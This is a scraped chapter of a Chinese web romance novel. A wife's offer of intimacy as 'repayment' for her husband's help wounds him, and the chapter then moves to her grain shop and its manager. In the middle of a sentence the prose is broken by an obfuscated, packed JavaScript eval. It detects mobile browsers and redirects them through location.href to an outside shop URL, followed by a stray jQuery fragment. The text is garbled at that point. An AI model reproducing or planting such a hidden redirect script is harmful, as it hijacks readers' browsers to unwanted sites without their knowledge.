44. 报答
作品:《清正权臣为爱发疯后》 沈玉蕴抬眸望他,烛火的碎影在他眸中轻晃,晃出温柔的弧度,沉默半晌,她实在是不知道该说什么好。
梅澜清当真是倾心待她。
而她呢?
从一开始接近他就带着目的。利用他的身份,欺骗他的真心。
不知从何时起,梅澜清待她越好,沈玉蕴的心就越是煎熬。
“郎君大恩,我真不知该如何相报。”
梅澜清双手捧住沈玉蕴的脸,逼她看着他:“夫妻之间,玉娘不许与我如此生分。”
他说的不是不必。
是不许。
沈玉蕴怔怔地看着他近在咫尺的脸,忽然圈住了他的脖颈。
感受到身边人身体一僵,沈玉蕴凑过去,微凉的唇落在了他的脸颊上,下颌处,还有唇上。
梅澜清喉头滚了滚,放在她脸颊处的手抚过细白的脖颈,落在她后颈处,猛地一按,这一吻的主导权立刻回到了他的掌控中。
他另一手也没闲着,勾着沈玉蕴的腰身往自己怀里带,两人纠缠间,外袍不知何时竟已掉落在地上。
沈玉蕴有些受不住他如此激烈的亲吻,纵然坐在他腿上,依旧仰着身子往外躲。梅澜清却不肯轻易放过她,顺势将人压在桌上,那只放在她腰间的手却使了力,径直将她往怀里按,仿佛要把眼前人融入骨血,再不分离。
就在梅澜清的吻顺着她白皙的脖颈一路向下时,门外忽然响起一阵敲门声,紧接着是怜雪的声音:“娘子现在可要把药喝了?”
梅澜清动作蓦地一顿,他抬头望向眸光滟滟的沈玉蕴,怜惜地将她方才散落的青丝别到耳后,气息不稳地问道:“什么药?”
沈玉蕴的嗓音带着未散的旖旎:“我昨日染了风寒,请郎中来看过了,说吃些药便好了。”
梅澜清头脑猛然清醒,他把沈玉蕴已然滑落到肩膀的衣衫拢起,又给人披了件他的外衣,才蹙眉道:“怎么刚才没说?若是我知晓此事,定然不会带着你这般胡闹。”
她正想说并不碍事,就见梅澜清整理好衣物,叫了怜雪进来,叮嘱她好好将药吃了,便说要先去隔壁洗沐。
沈玉蕴脸上的红晕还未褪去,刚才两人离得那般近,她自然感知到他身体的变化,此刻也明白他不太适合见人,顺从地应了声。
等回来时,沈玉蕴也已洗漱完,披着半干的发倚在床头,似是在等他。
梅澜清这段时日没日没夜的查案子看卷宗,在三司又睡不好,困倦不已,揽着沈玉蕴便阖上了眼。
正思绪混沌间,身边人却忽然有了动静,还不等梅澜清睁眼瞧,颈间喉结处一阵微疼,似是被人轻咬了口。
他一睁眼,便发觉沈玉蕴的手已然滑到他腰间,正要解他寝衣的系带。
梅澜清捉住她的手腕,叹了口气:“玉娘,你身子不适,还是早些休息吧。”
沈玉蕴抬头倔犟地望着他:“不碍事的。”
梅澜清觉得今日的沈玉蕴着实奇怪。往常他们夫妻之间,沈玉蕴并不热衷于此,甚至他有好多次暗示,她都借口说身子不适,或是今日太累推拒过去。
他虽有欲念,但玉娘不愿意,他自然不会强求。
可今日的沈玉蕴明明身子不舒服,却为何对这事如此执着。
“为何非得是今日?”梅澜清甫一问完,有什么东西好像在心中逐渐明朗。
今日有什么特殊?
他们久别重逢,还有,他答应了玉娘会调查她父兄一事。
一些此前未曾留意的细节忽然涌上心头。他们之间清醒的第一次共赴巫山,是在他为她带来了岳父的信件之后。而他们最近一次,是她为了不让他多问她的异样,主动相邀,而他无力抵抗。
那些过往密密麻麻的从角落里忽然钻出来,梅澜清的心猛地揪起来。他探究地望向沈玉蕴茫然的杏眸,眼底压着即将喷薄而出的痛意,声音低的发冷:“是因为我答应查你父兄的案子,你才如此?”
沈玉蕴沉默了半晌,才说:“郎君不是喜欢如此么?我只是想报答郎君。”
报答他。
“报答?”梅澜清重复了一遍,像是没听清,又像是难以置信。
今夜的月格外亮,月光透过芸窗倾洒在地面上,素白如霜。温暖的烛火无法抵御月色清寒,梅澜清忽然卸了力,松开了禁锢沈玉蕴的手。他如坠冰窟,身体的每一寸都染上寒意,连呼吸都艰涩起来。
他忽然笑了一声,那笑意却冷的没有半分温度。他盯着她,眼底的光一点点碎开。
“我还以为,是你情动。”
怎么会?
怎么会是如此?
他曾经以为的那些情到浓时的缱绻缠绵,在她眼里,只是一次次冷冰冰的交易。他把一颗真心献祭给她,而她不稀罕,把它踩在脚下,却还浑然未觉。
沈玉蕴喉间一紧,却说不出话来。
眼看她神色怔忡,闭口不答,梅澜清心中涩意几乎要涌上喉头,他一字一句沉声道:“沈玉蕴,你把你自己当什么?”
“你又把我当什么?”
他第一次连名带姓的叫她的名字。
沈玉蕴抬眸,却见梅澜清的眸子中映着被水光划得七零八落的烛火,悲伤与愤怒从水痕里溢出来,沁红了一双清冷的眼。
之前她做这种事,他不是都很欢喜么?她没料到他竟会气成这样。
沈玉蕴指尖微微蜷缩。她不知道此刻应该做些什么,应该说些什么。
更何况,直觉告诉她,她想说的那些话梅澜清定然不喜欢听。
长久的沉默宛如一把利刃,在梅澜清已然破败不堪的心口上又划了几刀。
梅澜清披上外衣,没有再看沈玉蕴一眼,转身出了房门。
在外守着的怜雪见梅澜清从屋内出来,诧异地将目光投向身旁的墨旋,墨旋摊了摊手,表示自己也毫不知情,随后小跑过去跟上了梅澜清。
怜雪犹豫着进了屋,青色帷帐里,沈玉蕴只身坐在床榻间,单薄的脊背微微塌陷,昏暗的烛火将她的身影拉的很长。她只垂着头,孤寂争先恐后从她身上弥漫开来,似要将她吞没。
怜雪心中不忍,安慰道:“娘子不要难过了,郎君一会儿定会再回来的。”
他们吵架拌嘴也不是没有过,哪次不是郎君大半夜的回来哄人?怜雪并不觉得这次有什么特殊。
床帐里的人沉默了半晌,才哑声道:“灭烛安寝吧,他今日不会回来了。”
怜雪不明白,但还是灭了烛光,退出了屋子。
屋内顿时昏暗下来,沈玉蕴躺在冰凉的榻上,脑中全是方才梅澜清含着痛意的质问。如此一想,心也冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364249|196346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来,连带着手脚也发凉,她蜷着身子缩起来,闭上眼等着天明。
翌日,沈玉蕴早早起了身,却被下人们告知梅澜清已经去上朝了。沈玉蕴怔住,梅澜清上朝从未这么早过。她顷刻便明白,他这是在躲她。
沈玉蕴去了粮铺,这几日粮铺倒是零零散散有个些客人,多半是城外的住民。他们以前买粮都要跑一趟城内,如今沈玉蕴在城边开了个粮铺,对他们而言自然是方便了许多。
眼见这几日终于有了生意,刚给客人装了大米收了钱的郑娘子开心的嘴都合不拢,她对沈玉蕴说:“娘子,这几日生意还不错呢。”
郑娘子是沈玉蕴雇来看店的掌柜,夫家姓杨,是做生意的,家里有一兄一弟,在经商方面却都没有杨二郎头脑灵活,是以公公在临去世前将家业尽数交给了他。
杨家家资颇丰,杨二郎待人慈善,郑娘子嫁过去日子倒也算清闲富贵,可有一次杨二郎外出走货,在路上染了病一命呜呼。
本来郑娘子膝下已有一个儿子,在杨家也能安身立命。但她那大伯和小叔子却不是省油的灯。他们见杨二郎死了,为瓜分杨家财产,先是污蔑郑娘子在为夫守孝期间与别人通奸,又说郑娘子所生的儿子不是杨二郎的种。
郑娘子母子就这样被赶出了杨府,还落了一身骂名。
沈玉蕴遇到郑娘子的时候,已经是郑娘子被赶出杨家的第五年。彼时,这位身形瘦弱的郑娘子已给人做过奶娘,替人浣过衣舂过米,后来又接了缝补浆洗的活儿,攒了些银子,在巷口卖汤饼。
因味道不错,铺子也干净,沈玉蕴在忙着修整粮铺时经常来,时间久了两人聊了几句,才得知郑娘子的这段过往。
在听到郑娘子说以前随相公学了些理账之事的时候,沈玉蕴便提议请郑娘子来她即将开的米铺里做掌柜,铺子后有一间屋子,是专门给雇工住的,这样她也不必每月为房屋租金烦恼。
郑娘子听了后喜不自胜,得知沈玉蕴米铺刚开,又是如此偏僻的位置,担心她入不敷出,便提议不必再请一个伙计,她曾替人舂米,力气也大,看顾进货完全不是问题,这样也省了沈玉蕴再多雇一个人花的银钱。
郑娘子就这样留在了铺子里。
沈玉蕴正垂着头发呆,并未听见郑娘子的话,直到郑娘子见她神色怔忡,多问了句:“沈妹子,你今日怎么了?”
沈玉蕴回过神,正要说没事,却听郑娘子又道:“莫不是跟夫君吵架了?”
沈玉蕴翻账册的手顿住,那句没事卡在喉咙里,怎么都说不出口。
郑娘子一见她这样子,就知道自己猜对了。她叹了口气:“哎,我也了解你的为人,定然不会是你的错。男人都是沾花惹草的,我们但凡说一句不是都是善妒。二郎在的时候待我也算不错,不过也不碍着他逛花楼。每次大半夜回府,他衣衫上那股腻人的甜香我一闻就知道……”
沈玉蕴听着听着就走了神,她和梅澜清之间,的确和郑娘子他们普通夫妻不太一样。
细细想来,这次的确是她有些过分。
可她清楚的明白,梅澜清想要的,她给不了。
她能给他的,只是她作为他的妻子能给他的,可梅澜清显然又不想要。
她又不想再对他撒谎。她已经占着他妻子的位子,不能再欺骗一颗真心。

